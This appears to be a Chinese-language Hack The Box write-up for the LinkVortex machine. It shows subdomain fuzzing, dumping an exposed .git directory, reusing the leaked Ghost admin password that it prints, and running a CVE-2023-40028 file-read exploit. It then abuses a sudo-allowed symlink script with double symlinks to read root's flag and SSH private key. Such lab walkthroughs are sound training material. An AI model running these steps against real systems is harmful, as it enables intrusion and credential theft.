# nmap

先看看 TCP

sudo nmap -A 10.10.11.47


开放的是 ssh 和 http 服务,能看到 http 服务直接扫出来了 robots.txt 文件,还有四个目录。
好家伙,全给爆了

在 /ghost 目录下成功找到登陆页面

之后就卡住了,没找到切入点,在 wp 提示下开始进行子域名爆破

# fuff

用 fuff 进行爆破

ffuf -u http://linkvortex.htb/ -w ./fuzzDicts/subdomainDicts/main.txt -H "Host:FUZZ.linkvortex.htb"  -mc 200


拿到子域名,加入 hosts 文件查看

# dirsearch

对其进行目录扫描

dirsearch -u http://dev.linkvortex.htb


存在 git 目录泄漏

# GitHack

有 git 目录泄漏就用 githack 将其拉取下来

python3 GitHack.py http://dev.linkvortex.htb/.git/


就发现了一个 js 文件和 dockerfile
先来看看 js 里面都有啥

好多账密,这不前面有个登陆页面,拿去试试

账号:admin@linkvortex.htb
密码: OctopiFociPilfer45

成功登陆

但是找来找去没看到什么可以利用的点,回头去看看之前的随 js 一起拉下来的 Dockerfile.ghost 文件

# CVE-2023-40028

可以看到 ghost 版本,上网搜索一下有没有相关漏洞可以利用。结果找到一个任意文件读取漏洞,刚好就是 5.58.0 这个版本的
从 github 上拉取脚本
CVE-2023-40028

./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45

问题来了,要读取什么文件呢,回到 ghost 文件中,还有配置信息,提到有个 config.production.json 文件,读取一下

ok,成功拿到账号密码

# ssh

ssh 登陆一下

进去哩,速速拿下 user.txt

# 提权

sudo -l


这次是给了个 sh 文件
下面是文件内容:

#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

代码审计一下可以看出是一个可以进行文件读取的脚本
如果文件后缀是 .png 的话代码会判断是否是符号连接,再进行下一步,判断是否含有 etc 或者 root 关键词防止敏感信息泄露,当 $CHECK_CONTENT 的值为 True 时会执行 cat 命令
然而想要获取 root.txt 的内容从单层符号连接看,必然是会含有敏感词的,绕过的方法就是双层符号连接。将 root 用户下的 root.txt 文件连接到 bob 账户下

ln -s /root/root.txt 1.txt
ln -s /home/bob/1.txt 1.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/1.png


成功拿到 flag
但是说起来,如果想要提权至 root 用户,直接拿到 root.txt 应该也是能做到的,读取 root 用户的私钥就行

ln -s /root/.ssh/id_rsa 2.txt 
ln -s /home/bob/2.txt 2.png
sudo CHECK_CONTENT=true /us/bin/bash /opt/ghost/clean_symlink.sh /home/bob/2.png


保存私钥文件,赋予 600 执行权限,直接通过私钥登陆 root 用户

chmod 600 id_rsa
ssh -i id_rsa root@10.10.11.47